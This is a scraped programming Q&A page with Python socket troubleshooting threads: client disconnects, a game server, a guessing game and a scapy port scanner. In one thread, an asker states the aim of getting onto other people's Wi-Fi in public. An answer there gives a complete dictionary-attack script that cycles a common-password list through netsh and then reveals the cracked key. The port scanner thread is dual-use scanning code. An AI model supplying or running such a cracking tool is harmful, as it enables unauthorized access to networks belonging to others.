error with python socket module, client closing immediately on startup - python

the issue with my program is as follows:
i've been working on a socket server for some rp stuff dont mind that part, the more worrisome part is the fact that now my client just closes after trying to fix a massive vulnerability where if you press enter it will show "invalid input" then press enter again it will just log you into the server itself via a prompt shown after login. that part isnt relevant only the fact that the client closes immediately when i open it, any advice or issues i should look at? you should also note that def passwd(): was added in attempt to fix the issue, what i did was put the password prompt in a function, then call the function after connecting via ngrok tunnel, the code is below:
import socket
from os import name as os_name, system
from colorama import init, Fore as cc
import select
import time
dr = DR = r = R = cc.LIGHTRED_EX
g = G = cc.LIGHTGREEN_EX
b = B = cc.LIGHTBLUE_EX
m = M = cc.LIGHTMAGENTA_EX
c = C = cc.LIGHTCYAN_EX
y = Y = cc.LIGHTYELLOW_EX
w = W = cc.RESET
HEADER = 64
clear = lambda: system('cls') if os_name == 'nt' else system('clear')
clear()
PORT = input("Enter Port Number > ")
FORMAT = "utf-8"
DISCONNECT_MESSAGE = "!disconnect"
SERVER = input("Enter Tunnel Address > ")
PORT1 = int(PORT)
ADDR = (SERVER, PORT1)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(ADDR)
passwd()
def send(msg):
message = msg.encode(FORMAT)
msg_length = len(message)
send_length = str(msg_length).encode(FORMAT)
send_length += b' ' * (HEADER - len(send_length))
client.send(send_length)
client.send(message)
print(client.recv(2048).decode(FORMAT))
clear()
def ssrselec():
ssr = input("Input User ID > ")
if ssr:
clear()
send(ssr)
time.sleep(2)
if not ssr:
clear()
print("INVALID INPUT")
client.close()
def select():
selec = input("Types: Internal, External\n\nSelect Database Type > ")
if selec:
clear()
send(selec)
time.sleep(2)
ssrselec()
if not selec:
clear()
print("INVALID INPUT")
client.close()
print("To disconnect type !disconnect\n")
def passwd():
inp = input("Input Database Password > ")
if inp:
clear()
send(inp)
time.sleep(2)
select()
if not inp:
clear()
print("INVALID INPUT")
client.close()
inp2 = input(" > ")
if inp2:
clear()
send(inp2)
time.sleep(2)
select()
if not inp2:
clear()
print("INVALID INPUT")
client.close()
clear()
select()
clear()

my linter shows that passwd() is called before it is declared.
You should define passwd() before it is called.
You can do this by defining it earlier in the code or by hoisting all functions with this at the end:
if __name__==`__main__`:
# some code

Related

why WinError 10053 occur optionally?

I'm creating a program that activates the timer after receiving the time, ID, and password through the socket.
and when i input "minute" value, I have winError 10053.
I can't understand, why name and hour can be sent, not minute?
this is client code
declStart = input("if you want to login, enter "login" ") # GUI 생기면 버튼으로 대체
if declStart=="login":
while True:
cname = str(input('enter name :'))
if ' ' in cname:
print('Spaces are not allowed.')
continue
client_sock.send(cname.encode())
is_possible_name = client_sock.recv(1024).decode()
if is_possible_name == 'yes':
client_sock.send('!enter'.encode())
goaltime_hour = int(input('goaltime(hour): '))
client_sock.send((str(goaltime_hour)).encode())
goaltime_min = int(input('goaltime(min): '))
client_sock.send((str(goaltime_min)).encode())
goaltime_sec = int(input('goaltime(sec): '))
client_sock.send((str(goaltime_sec)).encode())
elif is_possible_name == 'overlapped':
print('[SYSTEM] The name already exists.')
elif len(client_sock.recv(1024).decode()) == 0:
print('[SYSTEM] The server has been disconnected.')
client_sock.close()
os._exit(1)
while True:
if goaltime_hour <= 0 and goaltime_min <= 0:
print('Please enter the time')
continue
elif (str(type(goaltime_hour)) != "<class 'int'>") or (str(type(goaltime_min)) != "<class 'int'>"):
print("Please enter the int")
continue
else: break
pw = input("enter password")
client_sock.send((str(pw)).encode())
print("login completed. \n ")
break
server
class timeuser:
name: str=None
goaltime_hour: int=None
goaltime_min: int=None
goaltime_sec: int=None
currsecond: int=0
while True:
count = count + 1
conn, addr = server_sock.accept()
client=timeuser()
while True:
username = conn.recv(1024).decode()
if not username in member_name_list:
conn.send('yes'.encode())
break
else:
conn.send('overlapped'.encode())
client.name = username
clientHour = int(conn.recv(1024).decode()) # 시간수신
client.goaltime_hour = clientHour
clientMin = int(conn.recv(1024).decode()) # 분수신
client.goaltime_min = clientMin
clientsec = int(conn.recv(1024).decode()) # 초수신
client.goaltime_sec = clientsec
you can see entire code here :
https://github.com/whataLIN/Pysoc_myStudyTimer
I deleted All other data transmission and reception processes except hour and name, Then it worked fine.
I want to get other data with no error..
Error 10053 is "Connection reset" (WSAECONNRESET). It means the server closed its socket.
That is probably because the client sends !enter and the server tries to read it as a number and crashes. If you looked at the terminal where the server was running, you would see it crash.

How to Brute Force a wifi Password with python?

When I’m in public I want to have access to the internet, so I’ve been writing a script to find wifi passwords for a while now. I found a way like “dictionary attack” that I don’t like.
I found a script on the internet to connect to wifi using python:
import os
import platform
import getpass
y = "y"
Y = "Y"
n = "n"
N = "N"
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
if platform.system() == "Windows":
command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli con up "+SSID
os.system(command)
def displayAvailableNetworks():
if platform.system() == "Windows":
command = "netsh wlan show networks interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli dev wifi list"
os.system(command)
try:
displayAvailableNetworks()
option = input("New connection (y/N)? ")
if option == n or option == N:
name = input("Name: ")
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
elif option == y or option == Y:
name = input("Name: ")
key = getpass.getpass("Password: ")
createNewConnection(name, name, key)
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
except KeyboardInterrupt as e:
print("\nExiting...")
You have to enter the password yourself in this script.
In this line
key = getpass.getpass ("Password:")
I should switch "Password:" with variable that the script would try to search for until it is successful...
I found a script to find the password and completed it. The only problem is that in this script the program knows the value of the password. With each attempt, he can check if it matches the correct password.
import itertools
import string
def guess_password(real):
chars = string.ascii_lowercase + string.digits
attempts = 0
for password_length in range(8, 9):
for guess in itertools.product(chars, repeat=password_length):
attempts += 1
guess = ''.join(guess)
if guess == real:
return 'password is {}. found in {} guesses.'.format(guess, attempts)
print(guess, attempts)
print(guess_password('abc'))
I should connect these two scripts but I don't know how. It is not clear to me how to find the value of a variable that is unknown- (password).
I would be very happy if someone could explain the above problem to me. I’m new to these things and they’re not the clearest to me. Thanks for the reply
what we think is not always right. the already in market attack tools use a completely different approach to attack and gain access.They use the handshakes to match the pass with the actual passkey and this is how they validate if it is correct or not.
You are using a very naive way and this would hardly work.Look at the complexity of this program and lets assume you try 1000000 different key. the code would run forever.
Research more learn about handshakes decryption.
I know i am late for this but i found another way that might work using your code.
It tries common passwords from a .txt file i got from gihub https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt
Here is the code.
import os
import platform
import time
import requests
url = "http://www.python.org"
timeout = 5
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
os.system("netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi")
def displayAvailableNetworks():
os.system("netsh wlan show networks interface=Wi-Fi")
print("[LOADING] Searching if connected to any network")
try:
request = requests.get(url, timeout=timeout)
print("[-] Please disconnect your internet for this operation to work, try again later"), exit()
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
connected = True
while connected:
try:
displayAvailableNetworks()
WIFI = input("WIFI Name: ")
with open("Brute Force\passwords.txt", "r") as f:
for line in f:
words = line.split()
if words:
print(f"Password: {words[0]}")
createNewConnection(WIFI, WIFI, words[0])
connect(WIFI, WIFI)
try:
request = requests.get(url, timeout=timeout)
connected = False
choice = input(f"[+] The password might have been cracked, are you connected to {WIFI} (y/N) ? ")
if choice == "y":
print("\n[EXITING] Operation canceled")
exit()
elif choice == "n":
print("\n[-] Operation continues\n")
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
print("[+] Operation complete")
choice = input("See WIFI Information (y/N) ? ")
if choice == "y" or "Y":
print(f"[LOADING] Searching for {WIFI} network")
time.sleep(1)
os.system(f'netsh wlan show profile name="{WIFI}" key=clear')
exit()
elif choice == "n" or "N":
print("\n[EXITING] Exiting program...")
time.sleep(2)
exit()
except KeyboardInterrupt as e:
print("\n[[EXITING] Aborting program...")
exit()

Client disconnects when another client connects to the server

I'm writing an Encrypted R-P-S (Rock, Paper, Scissors) Game with Python, and it works like this. The server is leading the game, and the two clients is just sending their choice to the server.
First, the server is waiting for 2 players to join, when 2 players have joined, he is starting the game and letting both of the clients to choice an option.
My problem is that when the first client connects, and then the another, the first client automatically disconnects.
So, I don't know how to handle both of the clients, and let the first client choose an option and then let the second choose option.
*Note: I'm using the same client file for both of the clients.
Server:
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from time import sleep
def rules(first_choice, second_choice, mem1, mem2) -> str:
if (first_choice == 'R' and second_choice == 'P'
or first_choice == 'P' and second_choice == 'S'
or first_choice == 'S' and second_choice == 'R'):
return f'Result: Player 2 Won\nPlayer 1 Choice - {first_choice}\nPlayer 2 Choice - {second_choice}'
else:
return f'Result: Player 1 Won!\nPlayer 1 Choice - {first_choice}\nPlayer 2 Choice - {second_choice}'
class Connect:
def __init__(self):
players = 0
self.prikey = RSA.generate(1024)
self.pubkey = self.prikey.publickey()
self.token = PKCS1_OAEP.new(self.prikey)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(('0.0.0.0', 21523))
sock.listen(2)
print('Waiting for at least 2 players, please wait.')
while True:
self.conn, self.addr = sock.accept()
players += 1
if players == 1:
print(f'Player 1 is {self.addr}')
self.player1 = self.addr
elif players == 2:
print(f'Player 2 is {self.addr}')
self.player2 = self.addr
self.connection()
def connection(self) -> None:
print('2 Players have joined, starting game in 5 seconds.\n')
sleep(5)
self.conn.send('Y'.encode())
self.game_play()
def game_play(self) -> None:
self.conn.send(self.pubkey.exportKey())
choice_1_cipher = self.conn.recv(1024)
choice_1_plain = self.token.decrypt(choice_1_cipher)
print('Got first choice, waiting for another choice..')
choice_2_cipher = self.conn.recv(1024)
choice_2_plain = self.token.decrypt(choice_2_cipher)
print('Got second answer, calculating winner!')
print(rules(choice_1_plain, choice_2_plain, self.player1, self.player2))
if __name__ == '__main__':
Connect()
Client:
import socket
import random
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
class Client:
def __init__(self):
self.prikey = RSA.generate(2048)
self.pubkey = self.prikey.publickey()
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect(('10.0.0.42', 21523))
data = self.sock.recv(1024).decode()
if data == 'Y':
self.start_game()
def start_game(self) -> None:
print('\n [R]ock | [P]aper | [S]cissors - ')
while True:
my_choice = input().upper()
if my_choice not in ['R', 'P', 'S']:
print('Invalid Input, input must be one of those R\\P\\S')
else:
user_pubkey = RSA.importKey(self.sock.recv(2048))
token = PKCS1_OAEP.new(user_pubkey)
cipher_choice = token.encrypt(my_choice.encode())
self.sock.send(cipher_choice)
if __name__ == '__main__':
try:
Client()
except Exception as e:
print(f'err: {e}')
except KeyboardInterrupt:
print('A player has pressed [Ctrl + C] to quit the game, game ended!')
self.conn in self.conn, self.addr = sock.accept() when the 2 client connects gets overwritten and the self.conn of the player1 is lost.
I guess you should assign the self.conn to self.player1_conn before returning to the beginning of the while loop waiting for the 2 player.
This is actually a recurrent problem in your script because when you say self.conn.send('Y'.encode()) self.conn is referring only to the second player connection (which i guess it's not what you intend to do).
You should separate the conn in player1_conn and player2_conn and then you'll be able to chose to which player send what you need.

Python Guess Game Server-Client

Well here is a python server - client guess game programm.Well here my problem is that all works but the loop doesnt.More specificly i can only put one guess from the user.I just want the user to input values and when he finds the right answer the program will close.Right now i can insert only one value for some reason .
Server:
import socket
import random
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("192.168.1.3",9000))
s.listen(5)
(c,a) = s.accept()
print ("Received connection from", a)
Hello=c.recv(10000).decode()
print(Hello)
greetings="Greetings!"
c.send((greetings+"\r\n").encode())
game=c.recv(10000).decode()
print (game)
ready="Ready For The Guess Game!"
c.send((ready+"\r\n").encode())
random_number = random.randint(1, 20)
running = 1
while running:
guess=c.recv(10000).decode()
guess=int(guess)
print(guess)
if guess <= random_number - 3:
far_message="Far!"
c.send((far_message+"\r\n").encode())
if guess >= random_number + 3:
far_message="Far!"
c.send((far_message+"\r\n").encode())
if guess == random_number - 2 or guess == random_number + 2 or guess == random_number + 1 or guess == random_number - 1:
close_message="close!"
c.send((close_message+"\r\n").encode())
if (guess==random_number):
correct_message="Correct!"
c.send((correct_message+"\r\n").encode())
running=0
c.close()
And the Client:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.3',9000))
Hello="Hello"
s.send((Hello +"\r\n").encode())
greetings=s.recv(10000).decode()
print(greetings)
game="Guess Game Please"
s.send((game +"\r\n").encode())
game=s.recv(10000).decode()
print (game)
running=1
while running:
guess = input("Enter your guess: ")
s.send(guess.encode())
close_message = s.recv(10000).decode()
print (close_message)
far_message = s.recv(10000).decode()
print(far_message)
correct_message = s.recv(10000).decode()
print(correct_message)
running=0
s.close()
You need only one response listener on the client side
while running:
guess = input("Enter your guess: ")
s.send(guess.encode())
response = s.recv(10000).decode()
print(response)
if response.startswith("Correct"):
running = 0

TypeError: 'str' object not callable [Python] [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 8 years ago.
Improve this question
I've been trying to run this little port scanner-ish program for a while and I still don't know why it's giving me this error: [EDIT: I renamed the IP string into IPadd since it might have been confusing the two edited and now it says this error]
File "thing.py", line 63, in portScan
if (str(type(fin_scan_resp))=="<type 'NoneType'>"):
TypeError: 'int' object is not callable
this is the code:
#!/usr/bin/python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
from socket import *
import urllib2
import sys
def portScan(target):
validate = 0
print("Simple Port Scanner v1.0")
print("Available port scans")
print("[1] TCP Connect")
print("[2] SYN")
print("[3] ACK")
print("[4] FIN")
#print("[5] XMAS")
print("\n COMMON PORTS: 20, 21, 23, 80")
getport = raw_input("What port will you scan?: ")
port = int(getport)
while validate != 1:
type = input("What kind of scan do you want to do?: ")
print "Selected", type
validate = 1
try:
IPadd = gethostbyname(target)
print(IP) #trace
except:
print("ERROR: Cannot resolve connection... Exiting program")
if type == 1:
tcpconn = socket(AF_INET, SOCK_STREAM)
tcpconn.settimeout(0.255)
#for port in range(20, 25):
isopen = tcpconn.connect_ex((IPadd, port))
if isopen == 0:
print ("TCP Connect: Port " + getport + " is Open")
else:
print ("TCP Connect: Port " + getport + " is Closed")
tcpconn.close()
elif type == 2:
print ("SYN")
synconn = socket(AF_INET, SOCK_STREAM)
synconn.settimeout(0.255)
elif type == 3:
print ("ACK")
elif type == 4:
dst_ip = IPadd
src_port = RandShort()
dst_port= port
fin_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="F"),timeout=10)
if (str(type(fin_scan_resp))=="<type 'NoneType'>"):
print "Open|Filtered"
elif(fin_scan_resp.haslayer(TCP)):
if(fin_scan_resp.getlayer(TCP).flags == 0x14):
print "Closed"
elif(fin_scan_resp.haslayer(ICMP)):
if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
print "Filtered"
print ("FIN")
else:
print("Invalid input")
validate = 0
def getTarget():
target = raw_input("Enter target Host name/IP Address: ")
'''
#Validation of ip address still not working
#chk = socket(AF_INET, SOCK_STREAM)
try:
socket.inet_aton(target)
except socket.error:
print("IP address is invalid. QUITTING")
chk.close()
'''
return target
def main():
validate = 0
print("Launch which scan?")
print("[1] Simple Port Scanner v1.0")
print("[2] Service Fingerprinting v1.0")
print("[3] OS Fingerprinting v1.0")
print("[x] Exit")
while validate != 1:
firstMenu = raw_input("Choice: ")
if firstMenu == "1":
print("\n")
validate = 1
name = getTarget()
portScan(name)
elif firstMenu == "2":
print("yep")
validate = 1
elif firstMenu == "3":
print("this")
validate = 1
elif firstMenu == "x":
print("Closing...")
validate = 1
else:
print("Invalid choice")
main()
That part where there is supposed to be some error runs fine when I run that part on another .py file so I don't understand what's causing this and it's just frustrating
You are assigning a string to IP:
try:
IP = gethostbyname(target)
print(IP) #trace
but you are also trying to use the scapy IP() object:
fin_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="F"),timeout=10)
The string masks the object. Rename the string to ip (lowercase), everywhere in the portScan() function:
try:
ip = gethostbyname(target)
print(ip) #trace
# ...
#for port in range(20, 25):
isopen = tcpconn.connect_ex((ip, port))
# ...
elif type == 4:
dst_ip = ip
Instead of the rather ridiculous line:
if (str(type(fin_scan_resp))=="<type 'NoneType'>"):
use:
if fin_scan_resp is None:
although you really should not use type as a local variable as it masks the built-in function.

Categories

Resources